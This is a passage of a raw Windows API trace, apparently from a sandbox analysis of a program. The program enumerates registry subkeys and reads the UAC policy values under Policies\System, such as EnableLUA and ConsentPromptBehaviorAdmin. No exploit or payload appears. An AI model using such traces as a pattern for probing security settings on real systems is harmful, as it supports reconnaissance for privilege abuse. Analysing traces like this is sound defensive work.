lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x22fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0025.658] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x22fb930, cchName=0x104 | out: lpName="IME") returned 0x0 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0025.658] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x22fb930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x22fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0025.658] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x22fb930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x22fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0025.658] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x22fb930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x22fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0025.659] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x22fb930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x22fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0025.659] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x22fb930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x22fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0025.659] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x22fb930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x22fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0025.659] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x22fb930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x22fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0025.659] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x22fb930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x22fc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0025.659] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x22fb930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x22fc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0025.659] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x22fb930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0025.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x22fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0025.661] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x22fb930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0025.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x22fc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0025.661] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x22fb930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0025.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x22fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0025.661] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x22fb930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0025.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0025.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x22fc0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0025.661] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x22fb930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0025.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x22fc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0025.662] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x22fb930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x22fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0025.662] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0025.662] RegCloseKey (hKey=0x38) returned 0x0 [0025.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x22fb930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x22fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0025.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x22fb930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x22fc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0025.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x22fb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x22fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0025.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x22fb930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x22fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0025.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x22fb930, cchName=0x104 | out: lpName="System") returned 0x0 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x22fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0025.663] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0025.663] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb930) returned 1 [0025.663] RegCloseKey (hKey=0xc4) returned 0x0 [0025.663] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb860) returned 1 [0025.663] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.663] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fb860 [0025.663] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb878 [0025.663] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.663] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.663] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb888 [0025.663] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.663] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.663] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb898 [0025.663] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc168 [0025.663] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.663] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb930 [0025.663] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1b0 [0025.663] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.663] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x20) returned 0x22fb940 [0025.664] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb860) returned 1 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb860 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1f8 [0025.664] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb968 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.664] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb978 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.664] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb988 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc2d0 [0025.664] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x30) returned 0x22fb998 [0025.664] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb940) returned 1 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb940 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc318 [0025.664] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb950 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc360 [0025.664] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb9d0 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc3a8 [0025.664] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb9e0 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc3f0 [0025.664] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc438 [0025.664] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb998) returned 1 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb998 [0025.664] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc480 [0025.664] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb9a8 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc4c8 [0025.665] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb9b8 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc510 [0025.665] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb9f0 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc558 [0025.665] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc5a0 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc5a0) returned 1 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc5a0 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc5a0) returned 1 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc5a0 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc5a0) returned 1 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc5a0 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc5a0) returned 1 [0025.665] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc5a0 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb878) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb888) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc168) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb898) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc1b0) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb930) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc1f8) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb860) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb968) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.665] 